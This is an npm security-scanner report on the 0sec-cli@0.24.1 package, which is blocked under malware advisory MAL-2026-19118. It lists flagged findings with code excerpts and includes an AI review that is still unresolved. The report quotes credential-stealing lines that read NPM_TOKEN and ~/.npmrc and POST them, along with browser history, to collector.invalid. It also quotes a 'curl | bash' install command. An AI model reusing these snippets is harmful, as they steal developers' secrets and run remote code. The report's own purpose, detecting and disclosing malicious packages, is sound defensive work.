Loading npm security reports…
Loading npm security reports…
0sec-cli@0.24.1: Malware – npm package blocked (MAL-2026-19118) | LPM Firewall
Blocked by malware advisory
OpenSSF/OSV malware advisory MAL-2026-19118 identifies this version as malicious and supplies the Firewall block. LPM AI review remains unresolved.
What to do: remove this version and, if it ran, rotate the credentials it could reach. Remediation↓
OpenSSF/OSV malicious advisorypublished on Nov 11, 2026, 12:09 UTC · by OpenSSF/OSV OpenSSF/OSV advisory MAL-2026-19118 confirms this npm version as malicious.
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in 0sec-cli (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent LPM AI assessmentManual Review · reviewed on Nov 12, 2026, 12:55 UTC LPM's AI review of this version remains unresolved. The OpenSSF/OSV advisory supplies the block.
The manifest has no install lifecycle hook, and the credential-harvesting snippets are generated fixtures installed with scripts disabled. The active startup sink remains unresolved because its implementation is unreadable, so manual review is warranted.
Static reason
High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source
Trigger
Starting the CLI entrypoint.
Impact
Unknown; no concrete impact is established.
Mechanism
The entrypoint creates and subscribes the sink implemented in an unreadable source file; its data flow and recipient remain unresolved.
Independent scan evidencepublic snapshot AI called this Manual Review at 78.0% confidence as Unknown with medium false-positive risk.
AI review observations
The manifest ends after its dependency list without declaring lifecycle scripts. The CLI entrypoint creates and subscribes an event sink during startup; its implementation is in chunks/chunk-ZM6ANQZJ.js, which could not be read because it contains NUL bytes. Credential-harvesting code in chunk-PJU24AKR.js is embedded in generated historical-package fixtures, and the package’s npm audit path installs packages with scripts disabled. Evidence against
The readable source does not establish what the startup event sink sends or where it sends it. The credential-looking fixture strings do not show that the package itself harvests or transmits credentials. Behavioral surface
Source Child process · Crypto · Dynamic require · Environment variables · Eval · Filesystem · Network · Shell · Web socket
Supply chain High entropy strings · Minified · Possible obfuscation · Telemetry · URL strings
Manifest No manifest risk signals triggered.
Scanned 230 files · 17.1 MB of source
50 external domains referenced
0.security 127.0.0.1 169.254.169.254 access.redhat.com accounts.google.com ai-gateway.vercel.sh ai-sdk.dev api.anthropic.com api.au.snyk.io api.cline.bot api.cloudflare.com api.deepseek.com api.eu.snyk.io api.example.com api.github.com api.githubcopilot.com api.hackerone.com api.kimi.com api.linear.app api.openai.com api.osv.dev api.snyk.io api.target.com api.us.snyk.io api.vercel.com api.x.ai api.z.ai app.cline.bot app.example.com astral.sh atlas.mitre.org attack.mitre.org attacker.example attacker.example.com attacker.invalid attacker.oast.id auth.kimi.com auth.openai.com auth.x.ai backend.invalid base-ui.com chatgpt.com cheatsheetseries.owasp.org chevrotain.io cloud.0.security cloudcode-pa.googleapis.com collector.invalid crates.io crt.sh cwe.mitre.org Findings8 critical · 17 high · 7 medium · 5 low Source & flagged code30 flagged High Child process
Package source references child process execution.
cli-path-traversal-fixture.js View on unpkg · L1 Code excerpt · 2 lines 1 import { spawn } from "node:child_process" ;
2 import { createServer } from "node:http" ;
High Shell
Package source references shell execution.
node_modules/node-gyp-build/bin.js View on unpkg · L60 Code excerpt · 3 lines 60 stdio: 'inherit' ,
61 shell: true ,
62 windowsHide: true
High Eval
Package source references dynamic code evaluation.
node_modules/tree-sitter/index.js View on unpkg · L874 Code excerpt · 3 lines 874 const className = camelCase (typeName, true ) + 'Node' ;
875 const nodeSubclass = eval (`class ${className} extends SyntaxNode {${classBody}}; ${className}` );
876 nodeSubclass.prototype.type = typeName;
dashboard/assets/operations-BwCzhVnT.js View file Medium Dynamic require
Package source references dynamic require/import behavior.
dashboard/assets/operations-BwCzhVnT.js View on unpkg · L11 Code excerpt · 2 lines 12 Please change the parent <Route path="${e}" > to <Route path="${e===`/`?`*`:`${e}/*`}" >.`)}let u=nt(),d;if(t){let e=typeof t==` string`?L(t):t;j(c===` /`||e.pathname?.startsWith(c),` W...
13 `));if(r===` changed`&&e&&typeof e==` object`){let n=e;n.all===!0?t.push({type:` changed`,change:{all:!0}}):[` conversation`,` report`,` workflow`].includes(String(n.kind))&&typeof n.id=...
Critical Same file environment network execution
A single source file combines environment access, network access, and code or shell execution with blocking evidence.
chunks/chunk-7UHAXEOV.js View on unpkg · L161 Code excerpt · 6 lines 161 const normalizedTag = tag.startsWith ("v" ) ? tag : `v${tag}` ;
162 const env = { ...process.env, RELEASE_BASE_URL: `https://github.com/${REPO}/releases/download/${normalizedTag}` };
163 const installDir = options.installDir ?? process.env["ZERO_INSTALL_DIR" ];
⋯
168 const progress = interactive ? terminalProgress (`Updating 0 to ${normalizedTag}` , process.stderr, loadLayeredSettings ().settings.reduceMotion) : void 0 ;
169 const child = spawn ( , [ , , , ], {
Critical Credential exfiltration
Source appears to send environment or credential material to an external endpoint.
chunks/chunk-PJU24AKR.js View on unpkg · L11 Code excerpt · 12 lines 11 // packages/core/dist/prepare.js
12 import { execFileSync as execFileSync2 } from "node:child_process" ;
13 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
43 files: {
44 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
45 "preinstall.js" : [
Critical Command output exfiltration
Source executes local commands and sends command output to an external endpoint.
chunks/chunk-5WAHHZBF.js View on unpkg · L11026 Code excerpt · 5 lines 11026 "vulnerabilities/cardano-eutxo-validators.yaml" : 'id: cardano-eutxo-validators\nname: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"\ndescription: "Value-stealing logic bugs...
11027 "vulnerabilities/command-injection.yaml" : 'id: command-injection\nname: "OS Command Injection"\ndescription: "Untrusted data reaching a shell/subprocess \u2014 via filenames, URLs,...
11028 "vulnerabilities/deserialization-chains.yaml" : 'id: deserialization-chains\nname: "Deserialization Attack Chains"\ndescription: "Multi-language deserialization exploitation: Java, ...
11029 "vulnerabilities/native-memory-safety.yaml" : 'id: native-memory-safety\nname: "Native (C/C++) Memory Safety"\ndescription: "Untrusted-length parsing, OOB read/write, integer overfl...
⋯
11031 "vulnerabilities/pro
Critical Reverse shell
Source matches reverse-shell style process and socket wiring.
chunks/chunk-2XGBEH53.js View on unpkg · L83 Code excerpt · 12 lines 83 import { tmpdir, homedir } from "node:os" ;
84 import { execFile } from "node:child_process" ;
85 import { existsSync } from "node:fs" ;
⋯
150 function emitResultLine (payload) {
151 if (process.env["ZERO_EMIT_RESULT_LINE" ] !== "1" ) return ;
152 console.log (`ZERO_RESULT=${JSON.stringify(payload)}` );
⋯
High Sandbox evasion gated capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
chunks/chunk-Q7JKIKKF.js View on unpkg · L20 Code excerpt · 9 lines 20 // packages/cli/src/worker-deploy.ts
21 import { execFileSync, spawn, spawnSync } from "node:child_process" ;
22 import { createHash, randomBytes } from "node:crypto" ;
⋯
106 const arch = shell ("uname -m" ).trim () === "aarch64" ? "arm64" : "x64" ;
107 shell (`cd /tmp && curl -fsSL https://nodejs.org/dist/v24.14.0/node-v24.14.0-linux-${arch}.tar.xz -o node.tar.xz && sudo tar -xJf node.tar.xz -C /usr/local --strip-components=1 && n...
High Cloud metadata access
Source reaches cloud instance metadata or link-local credential endpoints.
chunks/chunk-KCA35IL3.js View on unpkg · L125 Code excerpt · 12 lines 125 function getVercelOidcTokenSync2 () {
126 const token = (0 , import_get_context.getContext)().headers?.["x-vercel-oidc-token" ] ?? process.env.VERCEL_OIDC_TOKEN;
127 if (!token) {
⋯
343 data,
344 message = `Invalid response data: ${JSON.stringify(data)}.`
345 }) {
⋯
636 }
637 function getWebSocketConstructor (webSocket) {
638 const WebSocketConstructor = webSocket != null ? webSocket : globalThis.WebSocket;
High Remote agent bridge
Source exposes local file and command tools to a remote model endpoint.
chunks/chunk-YSQWZ67M.js View on unpkg · L316 Code excerpt · 12 lines 316 // [redacted]-check.js
317 import { execFile } from "node:child_process" ;
318 import { promisify } from "node:util" ;
⋯
338 var OWN_FROM_MARKERS = ["0.ai" , "doruk@" ];
339 function epochUrl (baseUrl, list, epoch) {
340 return `${baseUrl}/${list}/git/${epoch}.git` ;
⋯
1759 try {
1760
High Trigger reachable external post callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
chunks/chunk-ZM6ANQZJ.js View on unpkg Scanner record · 9 lines Trigger-reachable fixed external POST callback chain: manifest.bin -> 0.js -> chunks/chunk-ZM6ANQZJ.js
oastConfirmedPayload,
describeEngagementPosture,
runHttpConformanceCheck
return JSON.stringify(x).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029");
post: { rules: [] },
var post = cb.post || function() {
_traverse(opts, pre, post, schema, "", schema);
function _traverse(opts, pre, post, schema, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex) {
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View file Medium Ships native binary
Package ships native binary artifacts.
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node
kind = native_binary
sizeBytes = 404792
magicHex = [redacted]
node_modules/tree-sitter/binding.gyp View file Medium Ships build helper
Package ships non-JavaScript build or shell helper files.
node_modules/tree-sitter/binding.gyp View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/binding.gyp
kind = build_helper
sizeBytes = 1835
magicHex = [redacted]
vendor/tree-sitter-0.21.1-node24.tgz View file High Ships high entropy blob
Package ships high-entropy non-source blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = high_entropy_blob
sizeBytes = 948015
magicHex = [redacted]
Medium Ships compressed blob
Package ships compressed or archive-like blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = compressed_blob
sizeBytes = 948015
magicHex = [redacted]
Low Nested archive needs inspection
Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.
chunks/chunk-DQTNI3KY.js#virtual:normalized:round1 View file High Semantic analysis limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
chunks/chunk-DQTNI3KY.js#virtual:normalized:round1 View on unpkg Scanner record · 1 line stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 17
Package metadata 7 findings
Medium Network
Medium Environment variables
Medium Structural risk force deep review
"bash"
"-o"
"pipefail"
"-c"
`curl -fsSL --connect-timeout 10 --max-time 30 "${INSTALL_URL}" | bash`
170 stdio: interactive ? ["inherit" , "pipe" , "pipe" ] : "inherit" ,
46 "const https = require('https');" ,
47 "const child_process = require('child_process');" ,
48 "const token = process.env.NPM_TOKEN || '';" ,
49 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
50 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
High Entrypoint foreign package code overwrite
Manifest-reachable source overwrites another installed package with package-defined remote behavior.
chunks/chunk-PJU24AKR.js View on unpkg Scanner record · 8 lines Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
chunks/chunk-PJU24AKR.jsimport { existsSync, mkdirSync as mkdirSync2, readFileSync, readdirSync, rmSync, statSync, writeFileSync as writeFileSync2 } from "node:fs";
import { mkdirSync, writeFileSync } from "node:fs";
"https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
"https.request('https://collector.invalid/creds', { method: 'POST' }).end(JSON.stringify({ browser, history }));"
const packageDir = join(tempDir, "node_modules", packageName);
writeFileSync(absPath, content, "utf8");
"https://api.osv.dev/v1/query"
const pkgJsonPath = join2(tempDir, "node_modules", packageName, "package.json");
High Trigger reachable credential exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
chunks/chunk-PJU24AKR.js View on unpkg · L11 Code excerpt · 11 lines Trigger-reachable credential exfiltration chain: manifest.bin -> 0.js -> chunks/chunk-PJU24AKR.js
11 // packages/core/dist/prepare.js
12 import { execFileSync as execFileSync2 } from "node:child_process" ;
13 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
43 files: {
44 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
45 "preinstall.js" : [
46 "const https = require('https');" ,
47 "const child_process = require('child_process');" ,
48 "const token = process.env.NPM_TOKEN || '';" ,
49 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
50 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));
Critical Persistence backdoor
Source writes persistence or remote-access backdoor material.
chunks/chunk-5WAHHZBF.js View on unpkg · L162 Critical Download execute
Source downloads or fetches remote code and executes it.
chunks/chunk-5WAHHZBF.js View on unpkg · L162 Critical Trigger reachable dangerous capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
chunks/chunk-5WAHHZBF.js View on unpkg · L162 High Obfuscated payload loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
chunks/chunk-5WAHHZBF.js View on unpkg · L162 High Trigger reachable persistence
A manifest entrypoint or package-local install chain reaches persistence behavior.
chunks/chunk-5WAHHZBF.js View on unpkg · L162 Shared code excerpt · 5 findings · 12 lines 162 // [redacted]-identity.js
163 import { execFileSync } from "node:child_process" ;
164 import { realpathSync } from "node:fs" ;
⋯
166 function git (cwd, args) {
167 const env = Object.fromEntries (Object.entries (process.env).filter (([name]) => !name.startsWith ("GIT_" )));
168 return execFileSync ("git" , args, {
⋯
307 Binary2.fromSource = fromSource;
308 function toBase64 (source) {
309 source = fromSource (source);
⋯
377 Time2.week = Time2.day * 7 ;
378 let timezoneOffset = (/* @__PURE__ */ new Date ()).getTimezoneOffset ();
379 function setTimezoneOffset (offset) {
High Credential redirect persistence
Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.
chunks/chunk-5WAHHZBF.js View on unpkg Scanner record · 6 lines Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
chunks/chunk-5WAHHZBF.jsimport { mkdir as mkdir2, mkdtemp as mkdtemp2, rm as rm2, writeFile as writeFile2 } from "node:fs/promises";
this.baseUrl = void 0;
import { constants as fsConst, existsSync, fsyncSync as fsyncSync3, lstatSync as lstatSync2, openSync as openSync3, readdirSync, readFileSync, realpathSync as realpathSync2, rename...
import { writeFile, mkdir, readdir as readdir2, unlink, copyFile, chmod as chmod2 } from "node:fs/promises";
import { closeSync, constants, fstatSync, fsyncSync, lstatSync, openSync, unlinkSync, writeFileSync } from "node:fs";
writeFileSync(fd, JSON.stringify({ pid: process.pid, startedAt: (/* @__PUR
High Copied package dependency bridge
Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.
chunks/chunk-5WAHHZBF.js View on unpkg · L21525 Code excerpt · 4 lines package = 0sec-cli; repositoryIdentity = 0 ; dependency = playwright
21525 try {
21526 await import ("playwright" );
21527 this ._playwrightAvailable = true ;
High Trigger reachable command output exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
chunks/chunk-5WAHHZBF.js View on unpkg · L11026 Code excerpt · 4 lines Trigger-reachable command-output exfiltration chain: manifest.bin -> 0.js -> chunks/chunk-5WAHHZBF.js
11026 "vulnerabilities/cardano-eutxo-validators.yaml" : 'id: cardano-eutxo-validators\nname: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"\ndescription: "Value-stealing logic bugs...
11027 "vulnerabilities/command-injection.yaml" : 'id: command-injection\nname: "OS Command Injection"\ndescription: "Untrusted data reaching a shell/subprocess \u2014 via filenames, URLs,...
11028 "vulnerabilities/deserialization-chains.yaml" : 'id: deserialization-chains\nname: "Deserialization Attack Chains"\ndescription: "Multi-language deserialization exploitation: Java, ...
11029 "vulnerabilities/native-memory-safety.yaml" : 'id: native-memory-safety\nname: "Native (C/C++) Memory Safety"\ndesc
236 if (!source) throw new Error ("source: requires a local path or git URL." );
237 const local = source === "~" ? homedir () : source.startsWith ("~/" ) ? join (homedir (), source.slice (2 )) : source;
238 return `source:${/^[a-z][a-z0-9+.-]*:\/\//i.test(source) || source.startsWith("git@") ? source : resolve(local)}` ;
378 let getPendingUserMessages;
379 if (format === "terminal" && process.stdout.isTTY && process.stdin.isTTY && !opts.suppressUi) {
Critical Previous version dangerous delta
This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.
chunks/chunk-2XGBEH53.js View on unpkg Scanner record · 5 lines matchType = previous_version_dangerous_delta
matchedPackage = 0sec-cli@0.23.0
matchedIdentity = npm:MHNlYy1jbGk:0.23.0
similarity = 0.667
summary = stored previous version shares package body but lacks this dangerous source file
High Cross file remote execution context
Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.
chunks/chunk-2XGBEH53.js View on unpkg · L83 Code excerpt · 10 lines Cross-file remote execution chain: chunks/chunk-2XGBEH53.js spawns chunks/chunk-ZM6ANQZJ.js; helper contains network access plus dynamic code execution.
83 import { tmpdir, homedir } from "node:os" ;
84 import { execFile } from "node:child_process" ;
85 import { existsSync } from "node:fs" ;
⋯
150 function emitResultLine (payload) {
151 if (process.env["ZERO_EMIT_RESULT_LINE" ] !== "1" ) return ;
152 console.log (`ZERO_RESULT=${JSON.stringify(payload)}` );
⋯
236 if (!source) throw new Error ("source: requires a local path or git URL." );
237 const local = source === "~" ? homedir () : source.startsWith ("~/" ) ? join (homedir (), source.slice (2 )) : source;
238 return `source:${/^[a-z][a-z0-9+.-]*:\/\//i.test(source) || source.startsWith("git@") ? source : resolve(local)}` ;
⋯
378
122 execFileSync ("tar" , ["-czf" , join (staging, "bundle.tar.gz" ), "-C" , bundleRoot, "dist" ], { stdio: "inherit" , env: { ...process.env, COPYFILE_DISABLE: "1" } });
123 const demoRoot = existsSync (join (bundleRoot, "dist/worker-assets/demo-target" )) ? join (bundleRoot, "dist/worker-assets" ) : join (repoRoot, "research/counterexample
644 var textDecoder = new TextDecoder ();
645 async function readWebSocketMessageText (data) {
return JSON.parse (readFileSync (path2, "utf8" ));
3621 "## Available Tools" ,
3622 "Call tools using this exact format (one per line):" ,
vendor/tree-sitter-0.21.1-node24.tgz
Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = nested_archive_needs_inspection
sizeBytes = 948015
magicHex = [redacted]